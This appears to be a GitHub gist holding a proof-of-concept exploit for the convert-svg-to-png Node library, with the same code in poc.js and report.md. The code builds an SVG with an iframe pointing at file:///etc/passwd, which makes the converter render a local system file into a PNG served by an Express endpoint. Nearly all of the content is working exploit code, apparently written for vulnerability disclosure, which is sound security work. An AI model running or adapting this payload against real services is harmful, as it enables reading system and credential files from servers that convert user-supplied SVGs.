legndery/payload.svg Secret

## payload.svg

      
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              payload.svg
            
          
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## poc.js
const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = `<svg-dummy></svg-dummy>
<iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe>
<svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="0" class="Rrrrr" id="demo">data</text>
</svg>`;
const app = express();
app.get('/poc', async (req, res)=>{
  try {
    const png = await convert(fileSvg);
    res.set('Content-Type', 'image/png');
    res.send(png);
  } catch (e) {
    res.send("")
  }
})
app.listen(3000, ()=>{
  console.log('started');
});

## poc_output.png

      
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              poc_output.png
            
          
## report.md

      
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              report.md
            
          
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	const { convert } = require('convert-svg-to-png');
	const express = require('express');
	const fileSvg = `<svg-dummy></svg-dummy>
	<iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe>
	<svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg">
	<text x="0" y="0" class="Rrrrr" id="demo">data</text>
	</svg>`;
	const app = express();
	app.get('/poc', async (req, res)=>{
	try {
	const png = await convert(fileSvg);
	res.set('Content-Type', 'image/png');
	res.send(png);
	} catch (e) {
	res.send("")
	}
	})
	app.listen(3000, ()=>{
	console.log('started');
	});